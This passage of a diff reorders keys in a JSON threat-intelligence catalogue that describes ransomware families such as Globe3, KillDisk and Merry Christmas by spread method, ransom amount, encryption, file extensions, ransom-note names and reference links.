+ "https://www.bleepingcomputer.com/forums/t/624518/globe-ransomware-help-and-support-purge-extension-how-to-restore-fileshta/",
+ "https://www.bleepingcomputer.com/news/security/the-globe-ransomware-wants-to-purge-your-files/",
+ "https://decryptors.blogspot.co.il/2017/01/globe3-decrypter.html",
+ "https://decrypter.emsisoft.com/globe3"
+ ],
+ "synonyms": [
+ "Purge Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 3 bitcoins. Extesion depends on the config file. It seems Globe is a ransomware kit.",
- "value": "Globe3 Ransomware",
- "uuid": "fe16edbe-3050-4276-bac3-c7ff5fd4174a"
+ "uuid": "fe16edbe-3050-4276-bac3-c7ff5fd4174a",
+ "value": "Globe3 Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 500$ in bitcoins. Requires .NET Framework 4.0. Gets into your startup system and sends you notes like the one below: https://4.bp.blogspot.com/-xrr6aoB_giw/WG1UrGpmZJI/AAAAAAAAC-Q/KtKdQP6iLY4LHaHgudF5dKs6i1JHQOBmgCLcB/s1600/green1.jpg",
"meta": {
- "synonyms": [
- "FireCrypt Ransomware"
+ "date": "January 2017",
+ "encryption": "AES-256",
+ "extensions": [
+ ".firecrypt"
+ ],
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-np8abNpYeoU/WG1KX4_H0yI/AAAAAAAAC98/gxRJeDb01So5yTboXYP7sZWurJFBbWziACLcB/s1600/note-html.jpg"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2017/01/bleedgreen-ransomware.html",
"https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/"
],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-np8abNpYeoU/WG1KX4_H0yI/AAAAAAAAC98/gxRJeDb01So5yTboXYP7sZWurJFBbWziACLcB/s1600/note-html.jpg"
- ],
- "encryption": "AES-256",
- "extensions": [
- ".firecrypt"
- ],
- "date": "January 2017"
+ "synonyms": [
+ "FireCrypt Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 500$ in bitcoins. Requires .NET Framework 4.0. Gets into your startup system and sends you notes like the one below: https://4.bp.blogspot.com/-xrr6aoB_giw/WG1UrGpmZJI/AAAAAAAAC-Q/KtKdQP6iLY4LHaHgudF5dKs6i1JHQOBmgCLcB/s1600/green1.jpg",
- "value": "BleedGreen Ransomware",
- "uuid": "fbb3fbf9-50d7-4fe1-955a-fd4defa0cb08"
+ "uuid": "fbb3fbf9-50d7-4fe1-955a-fd4defa0cb08",
+ "value": "BleedGreen Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Original name is Mission 1996 or Mission: “Impossible” (1996) (like the movie)",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/btcamant.html"
+ "date": "December 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".BTC"
],
"ransomnotes": [
"BTC_DECRYPT_FILES.txt",
"BTC_DECRYPT_FILES.html",
"https://2.bp.blogspot.com/-uiHluU553MU/WGzoFpEWkfI/AAAAAAAAC9o/M34ndwHUsoEfZiLJv9j4PCgBImS8oyYaACLcB/s1600/note_2.png"
],
- "encryption": "AES",
- "extensions": [
- ".BTC"
- ],
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/btcamant.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Original name is Mission 1996 or Mission: “Impossible” (1996) (like the movie)",
- "value": "BTCamant Ransomware",
- "uuid": "a5826bd3-b457-4aa9-a2e7-f0044ad9992f"
+ "uuid": "a5826bd3-b457-4aa9-a2e7-f0044ad9992f",
+ "value": "BTCamant Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. It is also possible to break in using RDP Windows with the help of Pass-the-Hash system, PuTTY, mRemoteNG, TightVNC, Chrome Remote Desktop, modified version of TeamViewer, AnyDesk, AmmyyAdmin, LiteManager, Radmin and others. Ransom is 700$ in Bitcoins.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/x3m-ransomware.html"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-hMAakgAORvg/WG_i-lk09II/AAAAAAAADAI/Uq2iCHC5ngYzeVcuxQF0mcbrLqyOGcA_wCLcB/s1600/note.png"
- ],
+ "date": "January 2017",
"encryption": "AES",
"extensions": [
"_x3m",
"_r9oj",
"_locked"
],
- "date": "January 2017"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-hMAakgAORvg/WG_i-lk09II/AAAAAAAADAI/Uq2iCHC5ngYzeVcuxQF0mcbrLqyOGcA_wCLcB/s1600/note.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/x3m-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. It is also possible to break in using RDP Windows with the help of Pass-the-Hash system, PuTTY, mRemoteNG, TightVNC, Chrome Remote Desktop, modified version of TeamViewer, AnyDesk, AmmyyAdmin, LiteManager, Radmin and others. Ransom is 700$ in Bitcoins.",
- "value": "X3M Ransomware",
- "uuid": "192bc3e8-ace8-4229-aa88-37034a11ef5b"
+ "uuid": "192bc3e8-ace8-4229-aa88-37034a11ef5b",
+ "value": "X3M Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/gog-ransomware.html",
- "https://twitter.com/BleepinComputer/status/816112218815266816"
+ "date": "December 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".LOCKED"
],
"ransomnotes": [
"DecryptFile.txt",
"https://4.bp.blogspot.com/-cAnilnXjK7k/WG_OHhC_UdI/AAAAAAAAC_4/sdbzTx9hP4sryM7xE59ONdk7Zr8D_m6XwCLcB/s1600/note-txt_2.png",
"https://1.bp.blogspot.com/-TDK91s7FmNM/WGpcwq5HmwI/AAAAAAAAC8Q/i0Q66vE7m-0kmrKPXWdwnYQg6Eaw2KSDwCLcB/s1600/note-pay_2.png"
],
- "encryption": "AES",
- "extensions": [
- ".LOCKED"
- ],
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/gog-ransomware.html",
+ "https://twitter.com/BleepinComputer/status/816112218815266816"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "GOG Ransomware",
- "uuid": "c3ef2acd-cc5d-4240-80e7-47e85b46db96"
+ "uuid": "c3ef2acd-cc5d-4240-80e7-47e85b46db96",
+ "value": "GOG Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.1 Bitcoins. Original name is TrojanRansom.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/edgelocker-ransomware.html",
- "https://twitter.com/BleepinComputer/status/815392891338194945"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-dNBgohC1UYg/WGnXhem546I/AAAAAAAAC7w/Wv0Jy4173xsBJDZPLMxe6lXBgI5BkY4BgCLcB/s1600/note-lock.jpg"
- ],
+ "date": "December 2016",
"encryption": "AES",
"extensions": [
".edgel"
],
- "date": "December 2016"
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-dNBgohC1UYg/WGnXhem546I/AAAAAAAAC7w/Wv0Jy4173xsBJDZPLMxe6lXBgI5BkY4BgCLcB/s1600/note-lock.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/edgelocker-ransomware.html",
+ "https://twitter.com/BleepinComputer/status/815392891338194945"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.1 Bitcoins. Original name is TrojanRansom.",
- "value": "EdgeLocker",
- "uuid": "ecfa106d-0aff-4f7e-a259-f00eb14fc245"
+ "uuid": "ecfa106d-0aff-4f7e-a259-f00eb14fc245",
+ "value": "EdgeLocker"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Fake name: Microsoft Corporation. Based on HiddenTear",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/red-alert-ransomware.html",
- "https://twitter.com/JaromirHorejsi/status/815557601312329728"
+ "date": "December 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".locked"
],
"ransomnotes": [
"MESSAGE.txt",
"https://1.bp.blogspot.com/-tDS74fDwB1Q/WGk2D5DcUYI/AAAAAAAAC6s/vahju5JD9B4chwnNDUvDPp4ejZOxnj_awCLcB/s1600/note-wallp.jpg"
],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/red-alert-ransomware.html",
+ "https://twitter.com/JaromirHorejsi/status/815557601312329728"
+ ]
+ },
+ "uuid": "f762860a-5e7a-43bf-bef4-06bd27e0b023",
+ "value": "Red Alert"
+ },
+ {
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
+ "meta": {
+ "date": "December 2016",
"encryption": "AES",
"extensions": [
".locked"
],
- "date": "December 2016"
- },
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Fake name: Microsoft Corporation. Based on HiddenTear",
- "value": "Red Alert",
- "uuid": "f762860a-5e7a-43bf-bef4-06bd27e0b023"
- },
- {
- "meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/first-ransomware.html"
- ],
"ransomnotes": [
"https://2.bp.blogspot.com/-T0PhVuoFSyA/WGk5mYkRFAI/AAAAAAAAC64/j14Pt84YUmQMNa_5LSEn6fZ5CoYqz60swCLcB/s1600/note-lock.jpg"
],
- "encryption": "AES",
- "extensions": [
- ".locked"
- ],
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/first-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "First",
- "uuid": "ed26fcf3-47fb-45cc-b5f9-de18f6491934"
+ "uuid": "ed26fcf3-47fb-45cc-b5f9-de18f6491934",
+ "value": "First"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Written on Delphi. The user requests the victim to get in touch with him through ICQ to get the ransom and return the files.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/xcrypt-ransomware.html",
- "https://twitter.com/JakubKroustek/status/825790584971472902"
- ],
+ "date": "January 2017",
+ "encryption": "Twofish",
"ransomnotes": [
"https://4.bp.blogspot.com/-XZNMg5P75r4/WI985j-EKHI/AAAAAAAADcw/jGdtXoq2pnwjlAbFAJia4UsXuJrV5AU3gCLcB/s1600/note.jpg",
"Xhelp.jpg"
],
- "encryption": "Twofish",
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/xcrypt-ransomware.html",
+ "https://twitter.com/JakubKroustek/status/825790584971472902"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Written on Delphi. The user requests the victim to get in touch with him through ICQ to get the ransom and return the files.",
- "value": "XCrypt Ransomware",
- "uuid": "fd5bb71f-80dc-4a6d-ba8e-ed74999700d3"
+ "uuid": "fd5bb71f-80dc-4a6d-ba8e-ed74999700d3",
+ "value": "XCrypt Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/7zipper-ransomware.html",
- "https://1.bp.blogspot.com/-ClM0LCPjQuk/WI-BgHTpdNI/AAAAAAAADc8/JyEQ8-pcJmsXIntuP-MMdE-pohVncxTXQCLcB/s1600/7-zip-logo.png"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-BR0DvtIft7g/WI95IF7IdUI/AAAAAAAADck/gzWAMbpFvaYicHFuMzvlM3YGJpgulMQBQCLcB/s1600/note_2.png"
- ],
+ "date": "January 2017",
"encryption": "Twofish",
"extensions": [
".7zipper"
],
- "date": "January 2017"
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-BR0DvtIft7g/WI95IF7IdUI/AAAAAAAADck/gzWAMbpFvaYicHFuMzvlM3YGJpgulMQBQCLcB/s1600/note_2.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/7zipper-ransomware.html",
+ "https://1.bp.blogspot.com/-ClM0LCPjQuk/WI-BgHTpdNI/AAAAAAAADc8/JyEQ8-pcJmsXIntuP-MMdE-pohVncxTXQCLcB/s1600/7-zip-logo.png"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "7Zipper Ransomware",
- "uuid": "d8ec9e54-a4a4-451e-9f29-e7503174c16e"
+ "uuid": "d8ec9e54-a4a4-451e-9f29-e7503174c16e",
+ "value": "7Zipper Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 170$ or EUR in Bitcoins.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/zyka-ransomware.html",
- "https://www.pcrisk.com/removal-guides/10899-zyka-ransomware",
- "https://download.bleepingcomputer.com/demonslay335/StupidDecrypter.zip",
- "https://twitter.com/GrujaRS/status/826153382557712385"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-SF4RsOANlI0/WJBQd4SJv6I/AAAAAAAADdY/hI-Ncw9FoFMi5jvljUftpzTgdykOfR3vgCLcB/s1600/lock-wallp_2.png.png"
- ],
+ "date": "January 2017",
"encryption": "AES",
"extensions": [
".lock",
".locked"
],
- "date": "January 2017"
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-SF4RsOANlI0/WJBQd4SJv6I/AAAAAAAADdY/hI-Ncw9FoFMi5jvljUftpzTgdykOfR3vgCLcB/s1600/lock-wallp_2.png.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/zyka-ransomware.html",
+ "https://www.pcrisk.com/removal-guides/10899-zyka-ransomware",
+ "https://download.bleepingcomputer.com/demonslay335/StupidDecrypter.zip",
+ "https://twitter.com/GrujaRS/status/826153382557712385"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 170$ or EUR in Bitcoins.",
- "value": "Zyka Ransomware",
- "uuid": "7b7c8124-c679-4201-b5a5-5e66e6d52b70"
+ "uuid": "7b7c8124-c679-4201-b5a5-5e66e6d52b70",
+ "value": "Zyka Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to strike worldwide. This ransomware does not really encrypt your files. Ransom requested is £50 using credit card.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/sureransom-ransomware.html",
- "http://www.forbes.com/sites/leemathews/2017/01/27/fake-ransomware-is-tricking-people-into-paying/#777faed0381c"
- ],
+ "date": "January 2017",
+ "encryption": "AES-256 (fake)",
"ransomnotes": [
"https://1.bp.blogspot.com/-zShnOIf3R_E/WJBfhC4CdSI/AAAAAAAADdo/6l4hwSOmI0Evj4W0Esj1S_uNOy5Yq6X0QCLcB/s1600/note1-2-3.gif"
],
- "encryption": "AES-256 (fake)",
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/sureransom-ransomware.html",
+ "http://www.forbes.com/sites/leemathews/2017/01/27/fake-ransomware-is-tricking-people-into-paying/#777faed0381c"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to strike worldwide. This ransomware does not really encrypt your files. Ransom requested is £50 using credit card.",
- "value": "SureRansom Ransomeware (Fake)",
- "uuid": "a9365b55-acd8-4b70-adac-c86d121b80b3"
+ "uuid": "a9365b55-acd8-4b70-adac-c86d121b80b3",
+ "value": "SureRansom Ransomeware (Fake)"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware uses the known online library as a decoy. It poses as Netflix Code generator for Netflix login, but instead encrypts your files. The ransom is 100$ in Bitcoins.",
"meta": {
+ "date": "January 2017",
+ "encryption": "AES-256",
+ "extensions": [
+ ".se"
+ ],
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-vODt2aB9Hck/WJCFc3g5eCI/AAAAAAAADe8/OrEVkqUHMU4swRWedoZuBu50AWoKR1FGACLcB/s1600/netflix-note.jpg",
+ "https://4.bp.blogspot.com/-Cw4e1drBKl4/WJCHmgp1vtI/AAAAAAAADfI/QqFxUsuad"
+ ],
"refs": [
"https://id-ransomware.blogspot.co.il/2017/01/netflix-ransomware.html",
"http://blog.trendmicro.com/trendlabs-security-intelligence/netflix-scam-delivers-ransomware/",
@@ -1992,40 +2007,15 @@
"http://www.darkreading.com/attacks-breaches/netflix-scam-spreads-ransomware/d/d-id/1328012",
"https://4.bp.blogspot.com/-bQQ4DTIClvA/WJCIh6Uq2nI/AAAAAAAADfY/hB5HcjuGgh8rRJKeLHo__IRz3Ezth22-wCEw/s1600/form1.jpg",
"https://4.bp.blogspot.com/-ZnWdPDprJOg/WJCPeCtP4HI/AAAAAAAADfw/kR0ifI1naSwTAwSuOPiw8ZCPr0tSIz1CgCLcB/s1600/netflix-akk.png"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-vODt2aB9Hck/WJCFc3g5eCI/AAAAAAAADe8/OrEVkqUHMU4swRWedoZuBu50AWoKR1FGACLcB/s1600/netflix-note.jpg",
- "https://4.bp.blogspot.com/-Cw4e1drBKl4/WJCHmgp1vtI/AAAAAAAADfI/QqFxUsuad"
- ],
- "encryption": "AES-256",
- "extensions": [
- ".se"
- ],
- "date": "January 2017"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware uses the known online library as a decoy. It poses as Netflix Code generator for Netflix login, but instead encrypts your files. The ransom is 100$ in Bitcoins.",
- "value": "Netflix Ransomware",
- "uuid": "1317351f-ec8f-4c76-afab-334e1384d3d3"
+ "uuid": "1317351f-ec8f-4c76-afab-334e1384d3d3",
+ "value": "Netflix Ransomware"
},
{
+ "description": "It’s directed to English and Italian speaking users, therefore is able to infect worldwide. Most attacks are on organizations and servers. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. They pose as a Consumer complaint notification that’s coming from Federal Trade Commission from USA, with an attached file called “complaint.pdf”. Written in Delphi by hacker MicrRP.",
"meta": {
- "synonyms": [
- "Merry X-Mas",
- "MRCR"
- ],
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/mrcr1-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/-merry-christmas-ransomware-now-steals-user-private-data-via-diamondfox-malware/",
- "http://www.zdnet.com/article/not-such-a-merry-christmas-the-ransomware-that-also-steals-user-data/",
- "https://www.bleepingcomputer.com/news/security/merry-christmas-ransomware-and-its-dev-comodosecurity-not-bringing-holiday-cheer/",
- "https://decrypter.emsisoft.com/mrcr"
- ],
- "ransomnotes": [
- "YOUR_FILES_ARE_DEAD.HTA",
- "MERRY_I_LOVE_YOU_BRUCE.HTA",
- "https://2.bp.blogspot.com/-3F3QAZnDxsI/WGpvD4wZ2OI/AAAAAAAAC80/-2L6dIPqsgs8hZHOX0T6AFf5LwPwfZ-rwCLcB/s1600/note.png",
- "https://4.bp.blogspot.com/-_w8peyLMcww/WHNJ1Gb0qeI/AAAAAAAADBw/EVbR-gKipYoNujo-YF6VavafsUfWDANEQCLcB/s1600/8-1-17.png"
- ],
+ "date": " December 2016",
"encryption": "AES-256",
"extensions": [
".MRCR1",
@@ -2034,29 +2024,50 @@
".RMCM1",
".MERRY"
],
- "date": " December 2016"
+ "ransomnotes": [
+ "YOUR_FILES_ARE_DEAD.HTA",
+ "MERRY_I_LOVE_YOU_BRUCE.HTA",
+ "https://2.bp.blogspot.com/-3F3QAZnDxsI/WGpvD4wZ2OI/AAAAAAAAC80/-2L6dIPqsgs8hZHOX0T6AFf5LwPwfZ-rwCLcB/s1600/note.png",
+ "https://4.bp.blogspot.com/-_w8peyLMcww/WHNJ1Gb0qeI/AAAAAAAADBw/EVbR-gKipYoNujo-YF6VavafsUfWDANEQCLcB/s1600/8-1-17.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/mrcr1-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/-merry-christmas-ransomware-now-steals-user-private-data-via-diamondfox-malware/",
+ "http://www.zdnet.com/article/not-such-a-merry-christmas-the-ransomware-that-also-steals-user-data/",
+ "https://www.bleepingcomputer.com/news/security/merry-christmas-ransomware-and-its-dev-comodosecurity-not-bringing-holiday-cheer/",
+ "https://decrypter.emsisoft.com/mrcr"
+ ],
+ "synonyms": [
+ "Merry X-Mas",
+ "MRCR"
+ ]
},
- "description": "It’s directed to English and Italian speaking users, therefore is able to infect worldwide. Most attacks are on organizations and servers. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. They pose as a Consumer complaint notification that’s coming from Federal Trade Commission from USA, with an attached file called “complaint.pdf”. Written in Delphi by hacker MicrRP.",
- "value": "Merry Christmas",
- "uuid": "72cbed4e-b26a-46a1-82be-3d0154fdd2e5"
+ "uuid": "72cbed4e-b26a-46a1-82be-3d0154fdd2e5",
+ "value": "Merry Christmas"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Seoirse is how in Ireland people say the name George. Ransom is 0.5 Bitcoins.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/seoirse-ransomware.html"
- ],
+ "date": "December 2016",
"encryption": "AES",
"extensions": [
".seoire"
],
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/seoirse-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Seoirse is how in Ireland people say the name George. Ransom is 0.5 Bitcoins.",
- "value": "Seoirse Ransomware",
- "uuid": "bdf807c2-74ec-4802-9907-a89b1d910296"
+ "uuid": "bdf807c2-74ec-4802-9907-a89b1d910296",
+ "value": "Seoirse Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Every file is encrypted with a personal AES-key, and then AES-key encrypts with a RSA-1028 key. Hacking by TeleBots (Sandworm). Goes under a fake name: Update center or Microsoft Update center.",
"meta": {
+ "date": "November/December 2016",
+ "encryption": "AES-256+RSA",
+ "ransomnotes": [
+ "https://1.bp.blogspot.com/-8MqANWraAgE/WGT7mj-XirI/AAAAAAAAC3g/H_f1hTxa7Sc_DEtllBe-vYaAfY-YqMelgCLcB/s1600/wallp.png"
+ ],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/12/killdisk-ransomware.html",
"https://www.bleepingcomputer.com/news/security/killdisk-ransomware-now-targets-linux-prevents-boot-up-has-faulty-encryption/",
@@ -2065,254 +2076,253 @@
"http://www.securityweek.com/destructive-killdisk-malware-turns-ransomware",
"http://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt/",
"https://cyberx-labs.com/en/blog/new-killdisk-malware-brings-ransomware-into-industrial-domain/"
- ],
- "ransomnotes": [
- "https://1.bp.blogspot.com/-8MqANWraAgE/WGT7mj-XirI/AAAAAAAAC3g/H_f1hTxa7Sc_DEtllBe-vYaAfY-YqMelgCLcB/s1600/wallp.png"
- ],
- "encryption": "AES-256+RSA",
- "date": "November/December 2016"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Every file is encrypted with a personal AES-key, and then AES-key encrypts with a RSA-1028 key. Hacking by TeleBots (Sandworm). Goes under a fake name: Update center or Microsoft Update center.",
- "value": "KillDisk Ransomware",
- "uuid": "8e067af6-d1f7-478a-8a8e-5154d2685bd1"
+ "uuid": "8e067af6-d1f7-478a-8a8e-5154d2685bd1",
+ "value": "KillDisk Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Maker is arizonacode and ransom amount is 20-30$. If the victim decides to pay the ransom, he will have to copy HWID and then speak to the hacker on Skype and forward him the payment.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/derialock-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/new-derialock-ransomware-active-on-christmas-includes-an-unlock-all-command/"
+ "date": "December 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".deria"
],
"ransomnotes": [
"https://3.bp.blogspot.com/-9vg_tRPq8rQ/WGOjf4ULuGI/AAAAAAAACzw/d16uRmEOotsCbRM4hwvzQ6bB8xAVNJ7ogCLcB/s1600/DeriaLock.gif",
"unlock-everybody.txt"
],
- "encryption": "AES",
- "extensions": [
- ".deria"
- ],
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/derialock-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/new-derialock-ransomware-active-on-christmas-includes-an-unlock-all-command/"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Maker is arizonacode and ransom amount is 20-30$. If the victim decides to pay the ransom, he will have to copy HWID and then speak to the hacker on Skype and forward him the payment.",
- "value": "DeriaLock Ransomware",
- "uuid": "c0d7acd4-5d64-4571-9b07-bd4bd0d27ee3"
+ "uuid": "c0d7acd4-5d64-4571-9b07-bd4bd0d27ee3",
+ "value": "DeriaLock Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/badencript-ransomware.html",
- "https://twitter.com/demonslay335/status/813064189719805952"
+ "date": "December 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".bript"
],
"ransomnotes": [
"https://3.bp.blogspot.com/-hApL-ObdWsk/WGAYUyCzPcI/AAAAAAAACyg/NuL26zNgRGcLnnF2BwgOEn3AYMgVu3gQACLcB/s1600/More-note.png",
"More.html"
],
- "encryption": "AES",
- "extensions": [
- ".bript"
- ],
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/badencript-ransomware.html",
+ "https://twitter.com/demonslay335/status/813064189719805952"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "BadEncript Ransomware",
